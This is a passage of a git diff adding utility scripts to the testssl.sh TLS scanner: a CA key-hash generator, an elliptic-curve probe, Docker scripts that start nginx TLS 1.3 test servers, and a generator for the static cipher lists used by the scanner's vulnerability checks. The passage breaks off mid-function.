+echo -n > "$TEMPDIR/cahashes"
+for bundle_fname in etc/*.pem; do
+ if [[ ! -r $bundle_fname ]]; then
+ echo "\"$bundle_fname\" cannot be found / not readable"
+ exit 99
+ fi
+ bundle_name=$(echo -n $bundle_fname|sed s/^etc\\///|sed 's/\.pem$//')
+ echo "CA Bundle: $bundle_name"
+ # Split up the certificate bundle
+ awk -v n=-1 "BEGIN {start=1}
+ /-----BEGIN CERTIFICATE-----/{ if (start) {inc=1; n++} }
+ inc { print >> (\"$TEMPDIR/$bundle_name.\" n \".$$.crt\") ; close (\"$TEMPDIR/$bundle_name.\" n \".$$.crt\") }
+ /---END CERTIFICATE-----/{ inc=0 }" $bundle_fname
+ for cert_fname in $TEMPDIR/$bundle_name.*.$$.crt; do
+ echo -n "."
+ hpkp_key_ca="$( ( openssl x509 -in "$cert_fname" -pubkey -noout | grep -v PUBLIC | openssl base64 -d |
+ openssl dgst -sha256 -binary | openssl enc -base64 ) 2>/dev/null )"
+ hpkp_name=$( openssl x509 -in "$cert_fname" -subject -noout 2>/dev/null | sed "s/^subject= //")
+ if [[ $(echo $hpkp_name|grep 'CN='|wc -l) -eq 1 ]]; then
+ hpkp_name=$(echo -n $hpkp_name|sed 's/^.*CN=//'|sed 's/\/.*$//')
+ fi
+ echo "$hpkp_key_ca $hpkp_name" >> "$TEMPDIR/cahashes"
+ done
+ echo
+done
+
+# Make a backup first
+cp etc/ca_hashes.txt etc/ca_hashes.txt.bak
+
+sort -u "$TEMPDIR/cahashes" > etc/ca_hashes.txt
diff --git a/utils/curves.bash b/utils/curves.bash
new file mode 100755
index 0000000..2a00f63
--- /dev/null
+++ b/utils/curves.bash
@@ -0,0 +1,94 @@
+#!/usr/bin/env bash
+#
+# PoC for checking the ellipticale curves negotiated
+# x448 and x25519 are missing, others are not supported
+# License see testssl.sh
+
+readonly RUN_DIR=$(dirname "$0")
+
+test_openssl_suffix() {
+ local naming_ext="$(uname).$(uname -m)"
+ local uname_arch="$(uname -m)"
+ local myarch_suffix=""
+
+ [[ $uname_arch =~ 64 ]] && myarch_suffix=64 || myarch_suffix=32
+ if [[ -f "$1/openssl" ]] && [[ -x "$1/openssl" ]]; then
+ OPENSSL="$1/openssl"
+ return 0
+ elif [[ -f "$1/openssl.$naming_ext" ]] && [[ -x "$1/openssl.$naming_ext" ]]; then
+ OPENSSL="$1/openssl.$naming_ext"
+ return 0
+ fi
+ return 1
+}
+
+
+find_openssl_binary() {
+ # 0. check environment variable whether it's executable
+ if [[ -n "$OPENSSL" ]] && [[ ! -x "$OPENSSL" ]]; then
+ pr_warningln "\ncannot find specified (\$OPENSSL=$OPENSSL) binary."
+ outln " Looking some place else ..."
+ elif [[ -x "$OPENSSL" ]]; then
+ : # 1. all ok supplied $OPENSSL was found and has executable bit set -- testrun comes below
+ elif test_openssl_suffix $RUN_DIR; then
+ : # 2. otherwise try openssl in path of testssl.sh
+ elif test_openssl_suffix ../$RUN_DIR; then
+ : # 2. otherwise try openssl in path of testssl.sh
+ elif test_openssl_suffix ../$RUN_DIR/bin; then
+ : # 3. otherwise here, this is supposed to be the standard --platform independent path in the future!!!
+ elif test_openssl_suffix "$(dirname "$(command -v openssl)")"; then
+ : # 5. we tried hard and failed, so now we use the system binaries
+ fi
+
+ # no ERRFILE initialized yet, thus we use /dev/null for stderr directly
+ $OPENSSL version -a 2>/dev/null >/dev/null
+ if [[ $? -ne 0 ]] || [[ ! -x "$OPENSSL" ]]; then
+ echo "\ncannot exec or find any openssl binary"
+ exit 1
+ fi
+ echo
+ echo "using $OPENSSL"
+ echo
+}
+
+
+VERBOSE=false
+if [[ $1 == "-v" ]]; then
+ VERBOSE=true
+ shift
+fi
+
+HN="$1"
+[ -z "$HN" ] && HN=testssl.sh
+find_openssl_binary
+
+ERRFILE=$(mktemp /tmp/curve_tester.R.XXXXXX) || exit 6
+TMPFILE=$(mktemp /tmp/curve_tester.T.XXXXXX) || exit 6
+
+
+for curve in $($OPENSSL ecparam -list_curves | awk -F':' '/:/ { print $1 }'); do
+ #if bin/openssl.Linux.x86_64 s_client -curves $curve -connect $HN:443 -servername $HN </dev/null 2>/dev/null | grep -q "BEGIN CERTIFICATE" ; then
+ # echo 'YES'
+ #else
+ # echo '--'
+ #fi
+ $OPENSSL s_client -cipher ECDH -curves $curve -connect $HN:443 -servername $HN </dev/null 2>$ERRFILE | grep "Server Temp Key:" >$TMPFILE
+ if [[ $? -eq 0 ]]; then
+ printf "$curve: "
+ cat $TMPFILE | sed 's/^.*Server Temp Key: //'
+ else
+ if grep -q 'Error with' $ERRFILE; then
+ if "$VERBOSE"; then
+ echo "$curve: no client support"
+ fi
+ else
+ echo "$curve: --"
+ fi
+ fi
+done
+
+rm -f $ERRFILE $TMPFILE
+
+# vim:ts=5:sw=5:expandtab
+# $Id: curves.bash,v 1.3 2016/07/09 12:22:13 dirkw Exp $
+
diff --git a/utils/docker-debian10.tls13only.start.sh b/utils/docker-debian10.tls13only.start.sh
new file mode 100755
index 0000000..2d0e9f1
--- /dev/null
+++ b/utils/docker-debian10.tls13only.start.sh
@@ -0,0 +1,33 @@
+#!/usr/bin/env bash
+
+# no early data, but TLS 1.3 with debian:buster (sid similar in Feb 2019)
+
+image=${1:-"debian:buster"}
+docker pull "$image"
+ID=$(docker run -d -ti $image)
+
+[[ -z "$ID" ]] && echo "container couldn't be retrieved" >&2 && exit 1
+
+docker exec -ti $ID apt-get update
+docker exec -ti $ID apt-get install -y ssl-cert dialog
+docker exec -ti $ID apt-get install -y nginx-common nginx-light
+docker exec -ti $ID cp /etc/nginx/sites-available/default /etc/nginx/sites-available/default.bak
+docker exec -ti $ID sed -i -e 's/# listen/listen/' -e 's/# include/include/' /etc/nginx/sites-available/default
+if echo "$0" | grep -q only; then
+ docker exec -ti $ID sed -i -e 's/listen \[::\]:443 ssl default_server;/&\n\tssl_protocols TLSv1\.3;\n\tssl_ecdh_curve X448:X25519;/' /etc/nginx/sites-available/default
+else
+ docker exec -ti $ID sed -i -e 's/listen \[::\]:443 ssl default_server;/&\n\tssl_protocols TLSv1\.2 TLSv1\.3;\n\tssl_ecdh_curve X448:X25519;/' /etc/nginx/sites-available/default
+fi
+
+docker exec -ti $ID nginx -V
+docker exec -ti $ID service nginx start
+docker exec -ti $ID service nginx status
+# P Q
+
+echo
+echo "You may now run \"testssl.sh $(docker inspect $ID --format '{{.NetworkSettings.IPAddress}}')\""
+
+exit 0
+
+
+# vim:ts=5:sw=5:expandtab
diff --git a/utils/docker-nginx.tls13-earlydata.start.sh b/utils/docker-nginx.tls13-earlydata.start.sh
new file mode 100755
index 0000000..8bc8f9b
--- /dev/null
+++ b/utils/docker-nginx.tls13-earlydata.start.sh
@@ -0,0 +1,56 @@
+#!/usr/bin/env bash
+
+image="rsnow/nginx"
+docker pull $image
+ID=$(docker run -d -ti $image)
+
+echo $ID
+
+[[ -z "$ID" ]] && echo "container couldn't be retrieved" >&2 && exit 1
+
+docker exec -ti $ID nginx -V
+docker exec -ti $ID mkdir /etc/nginx/ssl
+HN=$(docker exec -ti $ID hostname| tr -d '\n' | tr -d '\r')
+
+cd /tmp
+cat >$ID.conf << EOF
+
+server {
+ listen 443 ssl default_server;
+ listen [::]:443 ssl default_server;
+ server_name _;
+
+ ssl_protocols TLSv1.2 TLSv1.3;
+ ssl_early_data on;
+ #
+ ssl_certificate /etc/nginx/ssl/$HN.crt;
+ ssl_certificate_key /etc/nginx/ssl/$HN.key;
+
+ location / {
+ root /usr/share/nginx/html;
+ index index.html index.htm;
+ }
+ error_page 500 502 503 504 /50x.html;
+ location = /50x.html {
+ root /usr/share/nginx/html;
+ }
+}
+EOF
+
+docker cp $ID.conf $ID:/etc/nginx/conf.d/443.conf
+
+C_ST_etc="C=DE/ST=Gotham/L=Nowhere/CN=${HN}"
+openssl req -subj "/${C_ST_etc}/CN=${HN}" -newkey rsa:4096 -keyout "$HN.key" -nodes -sha256 -out "$HN.req"
+openssl x509 -days 365 -in "$HN.req" -req -signkey "$HN.key" -out "$HN.crt"
+docker cp $HN.key $ID:/etc/nginx/ssl
+docker cp $HN.crt $ID:/etc/nginx/ssl
+
+docker exec -ti $ID nginx -s reload
+# docker start $ID
+
+echo
+echo "You may now run \"testssl.sh $(docker inspect $ID --format '{{.NetworkSettings.IPAddress}}')\""
+
+exit 0
+
+# vim:ts=5:sw=5:expandtab
diff --git a/utils/generate_static_cipher_lists.sh b/utils/generate_static_cipher_lists.sh
new file mode 100755
index 0000000..85d747c
--- /dev/null
+++ b/utils/generate_static_cipher_lists.sh
@@ -0,0 +1,372 @@
+#!/usr/bin/env bash
+#
+# vim:ts=5:sw=5:expandtab
+# we have a spaces softtab, that ensures readability with other editors too
+
+[ -z "$BASH_VERSINFO" ] && printf "\n\033[1;35m Please make sure you're using \"bash\"! Bye...\033[m\n\n" >&2 && exit 245
+[ $(kill -l | grep -c SIG) -eq 0 ] && printf "\n\033[1;35m Please make sure you're calling me without leading \"sh\"! Bye...\033[m\n\n" >&2 && exit 245
+
+# This shell script generates the various static cipher lists that are used in testssl.sh.
+# It should be re-run whenever new ciphers are added to cipher-mapping.txt to determine
+# whether any of the variables in testssl.sh containing cipher lists need to be updated.
+
+# debugging help:
+readonly PS4='${LINENO}> ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
+
+COLOR=${COLOR:-2} # 2: Full color, 1: b/w+positioning, 0: no ESC at all
+readonly RUN_DIR=$(dirname "$0")
+TESTSSL_INSTALL_DIR="${TESTSSL_INSTALL_DIR:-""}" # if you run testssl.sh from a different path you can set either TESTSSL_INSTALL_DIR
+CIPHERS_BY_STRENGTH_FILE=""
+
+###### Cipher suite information #####
+declare -i TLS_NR_CIPHERS=0
+declare TLS_CIPHER_HEXCODE=()
+declare TLS_CIPHER_OSSL_NAME=()
+declare TLS_CIPHER_RFC_NAME=()
+declare TLS_CIPHER_SSLVERS=()
+declare TLS_CIPHER_KX=()
+declare TLS_CIPHER_AUTH=()
+declare TLS_CIPHER_ENC=()
+declare TLS_CIPHER_EXPORT=()
+
+###### output functions ######
+# a little bit of sanitzing with bash internal search&replace -- otherwise printf will hiccup at '%' and '--' does the rest.
+out(){
+# if [[ "$BASH_VERSINFO" -eq 4 ]]; then
+ printf -- "%b" "${1//%/%%}"
+# else
+# /usr/bin/printf -- "${1//%/%%}"
+# fi
+}
+outln() { out "$1\n"; }
+pr_off() { [[ "$COLOR" -ne 0 ]] && out "\033[m"; }
+pr_underline() { [[ "$COLOR" -ne 0 ]] && out "\033[4m$1" || out "$1"; pr_off; }
+
+if [[ $(uname) == "Linux" ]] ; then
+ toupper() { echo -n "${1^^}" ; }
+ tolower() { echo -n "${1,,}" ; }
+else
+ toupper() { echo -n "$1" | tr 'a-z' 'A-Z'; }
+ tolower() { echo -n "$1" | tr 'A-Z' 'a-z' ; }
+fi
+
+# try very hard to determine the install path to get ahold of the mapping file.
+# TESTSSL_INSTALL_DIR can be supplied via environment so that the cipher mapping and CA bundles can be found
+# www.carbonwind.net/TLS_Cipher_Suites_Project/tls_ssl_cipher_suites_simple_table_all.htm
+get_mapping_file() {
+ local mac
+
+ [[ -z "$TESTSSL_INSTALL_DIR" ]] && TESTSSL_INSTALL_DIR="$(dirname ${BASH_SOURCE[0]})"
+
+ [[ -r "$RUN_DIR/etc/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$RUN_DIR/etc/cipher-mapping.txt"
+ [[ -r "$RUN_DIR/../etc/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$RUN_DIR/../etc/cipher-mapping.txt"
+ [[ -r "$TESTSSL_INSTALL_DIR/etc/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/etc/cipher-mapping.txt"
+ if [[ ! -r "$CIPHERS_BY_STRENGTH_FILE" ]]; then
+ [[ -r "$RUN_DIR/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$RUN_DIR/cipher-mapping.txt"
+ [[ -r "$TESTSSL_INSTALL_DIR/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/cipher-mapping.txt"
+ fi
+
+ # we haven't found the cipher file yet...
+ if [[ ! -r "$CIPHERS_BY_STRENGTH_FILE" ]] && command -v readlink &>/dev/null ; then
+ readlink -f ls &>/dev/null && \
+ TESTSSL_INSTALL_DIR=$(readlink -f $(basename ${BASH_SOURCE[0]})) || \
+ TESTSSL_INSTALL_DIR=$(readlink $(basename ${BASH_SOURCE[0]}))
+ # not sure whether Darwin has -f
+ TESTSSL_INSTALL_DIR=$(dirname $TESTSSL_INSTALL_DIR 2>/dev/null)
+ [[ -r "$TESTSSL_INSTALL_DIR/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/cipher-mapping.txt"
+ [[ -r "$TESTSSL_INSTALL_DIR/etc/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/etc/cipher-mapping.txt"
+ fi
+
+ # still no cipher mapping file:
+ if [[ ! -r "$CIPHERS_BY_STRENGTH_FILE" ]] && command -v realpath &>/dev/null ; then
+ TESTSSL_INSTALL_DIR=$(dirname $(realpath ${BASH_SOURCE[0]}))
+ CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/etc/cipher-mapping.txt"
+ [[ -r "$TESTSSL_INSTALL_DIR/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/cipher-mapping.txt"
+ fi
+
+ # still no cipher mapping file (and realpath is not present):
+ if [[ ! -r "$CIPHERS_BY_STRENGTH_FILE" ]] && command -v readlink &>/dev/null ; then
+ readlink -f ls &>/dev/null && \
+ TESTSSL_INSTALL_DIR=$(dirname $(readlink -f ${BASH_SOURCE[0]})) || \
+ TESTSSL_INSTALL_DIR=$(dirname $(readlink ${BASH_SOURCE[0]}))
+ # not sure whether Darwin has -f
+ CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/etc/cipher-mapping.txt"
+ [[ -r "$TESTSSL_INSTALL_DIR/cipher-mapping.txt" ]] && CIPHERS_BY_STRENGTH_FILE="$TESTSSL_INSTALL_DIR/cipher-mapping.txt"
+ fi
+
+ if [[ ! -r "$CIPHERS_BY_STRENGTH_FILE" ]] ; then
+ outln "\nATTENTION: No cipher mapping file found!"
+ exit 2
+ fi
+
+ while read TLS_CIPHER_HEXCODE[TLS_NR_CIPHERS] n TLS_CIPHER_OSSL_NAME[TLS_NR_CIPHERS] TLS_CIPHER_RFC_NAME[TLS_NR_CIPHERS] TLS_CIPHER_SSLVERS[TLS_NR_CIPHERS] TLS_CIPHER_KX[TLS_NR_CIPHERS] TLS_CIPHER_AUTH[TLS_NR_CIPHERS] TLS_CIPHER_ENC[TLS_NR_CIPHERS] mac TLS_CIPHER_EXPORT[TLS_NR_CIPHERS]; do
+ TLS_NR_CIPHERS+=1
+ done < $CIPHERS_BY_STRENGTH_FILE
+}
+
+get_robust_pfs_ciphers() {
+ local -i i
+ local pfs_cipher hexc pfs_cipher_list="" pfs_hex_cipher_list=""
+
+ for (( i=0; i < TLS_NR_CIPHERS; i++ )); do
+ pfs_cipher="${TLS_CIPHER_RFC_NAME[i]}"
+ if ( [[ "$pfs_cipher" == "TLS_DHE_"* ]] || [[ "$pfs_cipher" == "TLS_ECDHE_"* ]] ) && \
+ [[ ! "$pfs_cipher" =~ "NULL" ]] && [[ ! "$pfs_cipher" =~ "DES" ]] && [[ ! "$pfs_cipher" =~ "RC4" ]] && \
+ [[ ! "$pfs_cipher" =~ "PSK" ]]; then
+ hexc="${TLS_CIPHER_HEXCODE[i]}"
+ pfs_hex_cipher_list+=", ${hexc:2:2},${hexc:7:2}"
+ [[ "${TLS_CIPHER_OSSL_NAME[i]}" != "-" ]] && pfs_cipher_list+=":${TLS_CIPHER_OSSL_NAME[i]}"
+ fi
+ done
+ outln ; pr_underline "Robust PFS Cipher Lists for SSLv3 - TLSv1.2" ; outln
+ echo "ROBUST_PFS_CIPHERS=\"${pfs_cipher_list:1}\""
+ echo "ROBUST_PFS_CIPHERS_HEX=\"$(tolower "${pfs_hex_cipher_list:2}")\""
+}
+
+get_std_cipherlists() {
+ local hexc hexcode strength
+ local -i i
+ local null_ciphers="" anon_ciphers="" adh_ciphers="" exp40_ciphers=""
+ local exp56_ciphers="" exp_ciphers="" low_ciphers="" des_ciphers=""
+ local medium_ciphers="" tdes_ciphers="" high_ciphers=""
+ local sslv2_null_ciphers="" sslv2_anon_ciphers="" sslv2_adh_ciphers="" sslv2_exp40_ciphers=""
+ local sslv2_exp56_ciphers="" sslv2_exp_ciphers="" sslv2_low_ciphers="" sslv2_des_ciphers=""
+ local sslv2_medium_ciphers="" sslv2_tdes_ciphers="" sslv2_high_ciphers=""
+ local using_sockets=true
+
+ for (( i=0; i < TLS_NR_CIPHERS; i++ )); do
+ hexc="${TLS_CIPHER_HEXCODE[i]}"
+ strength="${TLS_CIPHER_ENC[i]}"
+ strength="${strength//\)/}"
+ strength="${strength#*\(}"
+
+ if [[ ${#hexc} -eq 9 ]]; then
+ hexcode="${hexc:2:2},${hexc:7:2}"
+ [[ "${TLS_CIPHER_ENC[i]}" == "Enc=None" ]] && \
+ null_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_AUTH[i]}" == "Au=None" ]] && \
+ anon_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_RFC_NAME[i]}" =~ "TLS_DH_anon_" ]] && \
+ adh_ciphers+=", $hexcode"
+ [[ $strength -eq 40 ]] && exp40_ciphers+=", $hexcode"
+# [[ $strength -eq 56 ]] && exp56_ciphers+=", $hexcode"
+ [[ $strength -eq 56 ]] && \
+ [[ "${TLS_CIPHER_EXPORT[i]}" == "export" ]] && \
+ exp56_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_EXPORT[i]}" == "export" ]] && \
+ exp_ciphers+=", $hexcode"
+ if [[ "${TLS_CIPHER_AUTH[i]}" != "Au=None" ]]; then
+# [[ $strength -le 64 ]] && low_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_ENC[i]}" != "Enc=None" ]] && \
+ [[ $strength -le 64 ]] && \
+ [[ "${TLS_CIPHER_EXPORT[i]}" != "export" ]] && \
+ low_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_ENC[i]}" == "Enc=DES(56)" ]] && \
+ [[ "${TLS_CIPHER_EXPORT[i]}" != "export" ]] && \
+ des_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_ENC[i]}" == "Enc=SEED(128)" ]] && \
+ medium_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_ENC[i]}" == "Enc=RC4(128)" ]] && \
+ medium_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_ENC[i]}" == "Enc=IDEA(128)" ]] && \
+ medium_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_ENC[i]}" == "Enc=3DES(168)" ]] && \
+ tdes_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_ENC[i]}" == "Enc=AES"* ]] && \
+ high_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_ENC[i]}" == "Enc=Camellia"* ]] && \
+ high_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_ENC[i]}" == "Enc=ChaCha20"* ]] && \
+ high_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_ENC[i]}" == "Enc=GOST"* ]] && \
+ high_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_ENC[i]}" == "Enc=ARIA"* ]] && \
+ high_ciphers+=", $hexcode"
+ fi
+ else
+ hexcode="${hexc:2:2},${hexc:7:2},${hexc:12:2}"
+ [[ $strength -eq 40 ]] && sslv2_exp40_ciphers+=", $hexcode"
+# [[ $strength -eq 56 ]] && sslv2_exp56_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_EXPORT[i]}" == "export" ]] && \
+ sslv2_exp_ciphers+=", $hexcode"
+# [[ $strength -le 64 ]] && sslv2_low_ciphers+=", $hexcode"
+ [[ $strength -le 64 ]] && \
+ [[ "${TLS_CIPHER_EXPORT[i]}" != "export" ]] && \
+ sslv2_low_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_ENC[i]}" == "Enc=DES(56)" ]] && \
+ sslv2_des_ciphers+=", $hexcode"
+ [[ "${TLS_CIPHER_ENC[i]}" == "Enc=3DES(168)" ]] && \
+ sslv2_tdes_ciphers+=", $hexcode"
+ fi
+ done
+ [[ -n "$null_ciphers" ]] && null_ciphers="${null_ciphers:2}, 00,ff"
+ [[ -n "$anon_ciphers" ]] && anon_ciphers="${anon_ciphers:2}, 00,ff"
+ [[ -n "$adh_ciphers" ]] && adh_ciphers="${adh_ciphers:2}, 00,ff"
+ [[ -n "$exp40_ciphers" ]] && exp40_ciphers="${exp40_ciphers:2}, 00,ff"
+ [[ -n "$exp56_ciphers" ]] && exp56_ciphers="${exp56_ciphers:2}, 00,ff"
+ [[ -n "$exp_ciphers" ]] && exp_ciphers="${exp_ciphers:2}, 00,ff"
+ [[ -n "$low_ciphers" ]] && low_ciphers="${low_ciphers:2}, 00,ff"
+ [[ -n "$des_ciphers" ]] && des_ciphers="${des_ciphers:2}, 00,ff"
+ [[ -n "$medium_ciphers" ]] && medium_ciphers="${medium_ciphers:2}, 00,ff"
+ [[ -n "$tdes_ciphers" ]] && tdes_ciphers="${tdes_ciphers:2}, 00,ff"
+ [[ -n "$high_ciphers" ]] && high_ciphers="${high_ciphers:2}, 00,ff"
+ [[ -n "$sslv2_null_ciphers" ]] && sslv2_null_ciphers="${sslv2_null_ciphers:2}"
+ [[ -n "$sslv2_anon_ciphers" ]] && sslv2_anon_ciphers="${sslv2_anon_ciphers:2}"
+ [[ -n "$sslv2_adh_ciphers" ]] && sslv2_adh_ciphers="${sslv2_adh_ciphers:2}"
+ [[ -n "$sslv2_exp40_ciphers" ]] && sslv2_exp40_ciphers="${sslv2_exp40_ciphers:2}"
+ [[ -n "$sslv2_exp56_ciphers" ]] && sslv2_exp56_ciphers="${sslv2_exp56_ciphers:2}"
+ [[ -n "$sslv2_exp_ciphers" ]] && sslv2_exp_ciphers="${sslv2_exp_ciphers:2}"
+ [[ -n "$sslv2_low_ciphers" ]] && sslv2_low_ciphers="${sslv2_low_ciphers:2}"
+ [[ -n "$sslv2_des_ciphers" ]] && sslv2_des_ciphers="${sslv2_des_ciphers:2}"
+ [[ -n "$sslv2_medium_ciphers" ]] && sslv2_medium_ciphers="${sslv2_medium_ciphers:2}"
+ [[ -n "$sslv2_tdes_ciphers" ]] && sslv2_tdes_ciphers="${sslv2_tdes_ciphers:2}"
+ [[ -n "$sslv2_high_ciphers" ]] && sslv2_high_ciphers="${sslv2_high_ciphers:2}"
+
+ outln ; pr_underline "Cipher lists for run_std_cipherlists()"; outln
+ outln "null_ciphers=\"$(tolower "$null_ciphers")\""
+ outln "sslv2_null_ciphers=\"$(tolower "$sslv2_null_ciphers")\""
+ outln "anon_ciphers=\"$(tolower "$anon_ciphers")\""
+ outln "sslv2_anon_ciphers=\"$(tolower "$sslv2_anon_ciphers")\""
+ outln "adh_ciphers=\"$(tolower "$adh_ciphers")\""
+ outln "sslv2_adh_ciphers=\"$(tolower "$sslv2_adh_ciphers")\""
+ outln exp40_ciphers"=\"$(tolower "$exp40_ciphers")\""
+ outln "sslv2_exp40_ciphers=\"$(tolower "$sslv2_exp40_ciphers")\""
+ outln "exp56_ciphers=\"$(tolower "$exp56_ciphers")\""
+ outln "sslv2_exp56_ciphers=\"$(tolower "$sslv2_exp56_ciphers")\""
+ outln "exp_ciphers=\"$(tolower "$exp_ciphers")\""
+ outln "sslv2_exp_ciphers=\"$(tolower "$sslv2_exp_ciphers")\""
+ outln "low_ciphers=\"$(tolower "$low_ciphers")\""
+ outln "sslv2_low_ciphers=\"$(tolower "$sslv2_low_ciphers")\""
+ outln "des_ciphers=\"$(tolower "$des_ciphers")\""
+ outln "sslv2_des_ciphers=\"$(tolower "$sslv2_des_ciphers")\""
+ outln "medium_ciphers=\"$(tolower "$medium_ciphers")\""
+ outln "sslv2_medium_ciphers=\"$(tolower "$sslv2_medium_ciphers")\""
+ outln "tdes_ciphers=\"$(tolower "$tdes_ciphers")\""
+ outln "sslv2_tdes_ciphers=\"$(tolower "$sslv2_tdes_ciphers")\""
+ outln "high_ciphers=\"$(tolower "$high_ciphers")\""
+ outln "sslv2_high_ciphers=\"$(tolower "$sslv2_high_ciphers")\""
+}
+
+get_cbc_ciphers() {
+ local -i
+ local hexc cbc_cipher_list="" cbc_cipher_list_hex=""
+
+ # Want to keep ciphers lists to under 128 ciphers. Since there are a number of CBC ciphers
+ # that do not currently have OpenSSL names, the ciphers with Null authentication can be
+ # included in the OpenSSL list, but need to be excluded from the hex list.
+ for (( i=0; i < TLS_NR_CIPHERS; i++ )); do
+ if [[ "${TLS_CIPHER_SSLVERS[i]}" != "SSLv2" ]] && [[ "${TLS_CIPHER_RFC_NAME[i]}" =~ CBC ]] && \
+ [[ ! "${TLS_CIPHER_RFC_NAME[i]}" =~ PSK ]] && [[ ! "${TLS_CIPHER_RFC_NAME[i]}" =~ SRP ]] && \
+ [[ ! "${TLS_CIPHER_RFC_NAME[i]}" =~ KRB5 ]]; then
+ hexc="${TLS_CIPHER_HEXCODE[i]}"
+ [[ "${TLS_CIPHER_AUTH[i]}" != "Au=None" ]] && cbc_cipher_list_hex+=", ${hexc:2:2},${hexc:7:2}"
+ [[ "${TLS_CIPHER_OSSL_NAME[i]}" != "-" ]] && cbc_cipher_list+=":${TLS_CIPHER_OSSL_NAME[i]}"
+ fi
+ done
+
+ outln ; pr_underline "CBC Ciphers for determine_tls_extensions()"; outln
+ outln "cbc_cipher_list=\"${cbc_cipher_list:1}\""
+ outln "cbc_cipher_list_hex=\"$(tolower "${cbc_cipher_list_hex:2}")\""
+}
+
+
+get_all_cbc_ciphers() {
+ local -i
+ local hexc cbc_ciphers="" cbc_ciphers_hex=""
+
+ for (( i=0; i < TLS_NR_CIPHERS; i++ )); do
+ if [[ "${TLS_CIPHER_SSLVERS[i]}" != "SSLv2" ]] && [[ "${TLS_CIPHER_RFC_NAME[i]}" =~ CBC ]]; then
+ hexc="${TLS_CIPHER_HEXCODE[i]}"
+ cbc_ciphers_hex+=", ${hexc:2:2},${hexc:7:2}"
+ [[ "${TLS_CIPHER_OSSL_NAME[i]}" != "-" ]] && cbc_ciphers+=":${TLS_CIPHER_OSSL_NAME[i]}"
+ fi
+ done
+
+ outln ; pr_underline "CBC Ciphers for run_lucky13()"; outln
+ outln "cbc_ciphers=\"${cbc_ciphers:1}\""
+ outln "cbc_ciphers_hex=\"$(tolower "${cbc_ciphers_hex:2}")\""
+}
+
+
+get_sslv3_tls1_cbc_ciphers() {
+ local -i
+ local hexc cbc_ciphers="" cbc_ciphers_hex=""
+
+ for (( i=0; i < TLS_NR_CIPHERS; i++ )); do
+ if [[ "${TLS_CIPHER_SSLVERS[i]}" != "SSLv2" ]] && [[ "${TLS_CIPHER_RFC_NAME[i]}" =~ CBC ]] && \
+ [[ "${TLS_CIPHER_RFC_NAME[i]}" != *SHA256 ]] && [[ "${TLS_CIPHER_RFC_NAME[i]}" != *SHA384 ]]; then
+ hexc="${TLS_CIPHER_HEXCODE[i]}"
+ cbc_ciphers_hex+=", ${hexc:2:2},${hexc:7:2}"
+ [[ "${TLS_CIPHER_OSSL_NAME[i]}" != "-" ]] && cbc_ciphers+=":${TLS_CIPHER_OSSL_NAME[i]}"
+ fi
+ done
+
+ outln ; pr_underline "SSLv3/TLSv1.0 CBC Ciphers for run_ssl_poodle() and run_beast()"; outln
+ outln "cbc_ciphers=\"${cbc_ciphers:1}\""
+ outln "cbc_ciphers_hex=\"$(tolower "${cbc_ciphers_hex:2}")\""
+}
+
+get_export_rsa_ciphers() {
+ local -i i
+ local exportrsa_cipher_list="" exportrsa_tls_cipher_list_hex="" exportrsa_ssl2_cipher_list_hex=""
+
+ for (( i=0; i < TLS_NR_CIPHERS; i++ )); do
+ if [[ "${TLS_CIPHER_EXPORT[i]}" == "export" ]] && \
+ ( [[ "${TLS_CIPHER_KX[i]}" =~ RSA ]] || [[ "${TLS_CIPHER_AUTH[i]}" =~ RSA ]] ); then
+ hexc="${TLS_CIPHER_HEXCODE[i]}"
+ [[ "${TLS_CIPHER_SSLVERS[i]}" == "SSLv2" ]] && exportrsa_ssl2_cipher_list_hex+=", ${hexc:2:2},${hexc:7:2},${hexc:12:2}"
+ [[ "${TLS_CIPHER_SSLVERS[i]}" != "SSLv2" ]] && exportrsa_tls_cipher_list_hex+=", ${hexc:2:2},${hexc:7:2}"
+ [[ ! ":${exportrsa_cipher_list}:" =~ "${TLS_CIPHER_OSSL_NAME[i]}" ]] && exportrsa_cipher_list+=":${TLS_CIPHER_OSSL_NAME[i]}"
+ fi
+ done
+
+ outln ; pr_underline "Export RSA ciphers for run_freak()"; outln
+ outln "exportrsa_cipher_list=\"${exportrsa_cipher_list:1}\""
+ outln "exportrsa_tls_cipher_list_hex=\"${exportrsa_tls_cipher_list_hex:2}\""
+ outln "exportrsa_ssl2_cipher_list_hex=\"${exportrsa_ssl2_cipher_list_hex:2}\""
+}
+
+get_weak_dh_ciphers() {
+ local -i
+ local hexc exportdh_cipher_list="" exportdh_cipher_list_hex=""
+
+ for (( i=0; i < TLS_NR_CIPHERS; i++ )); do
+ if [[ "${TLS_CIPHER_RFC_NAME[i]}" == "TLS_DHE_"* ]] && [[ "${TLS_CIPHER_EXPORT[i]}" == "export" ]]; then
